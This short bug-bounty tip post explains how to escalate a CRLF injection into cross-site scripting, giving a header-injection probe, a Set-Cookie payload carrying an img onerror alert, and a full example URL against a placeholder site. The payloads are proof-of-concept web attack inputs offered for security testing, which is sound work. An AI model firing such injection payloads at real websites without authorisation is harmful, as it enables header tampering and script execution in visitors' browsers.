🔰 Raise CRLF to XSS
If you find a CRLF injection while testing a website, then you should always try to upgrade it to XSS and get a higher reward.
CRLF:
/%0AHeader:header
XSS + CRLF:
/%0ASet-Cookie:"><img src=x onerror=alert(1)>
URL:
https://website.com/%0ASet-Cookie:"><img src=x onerror=alert(1)>
0 Comments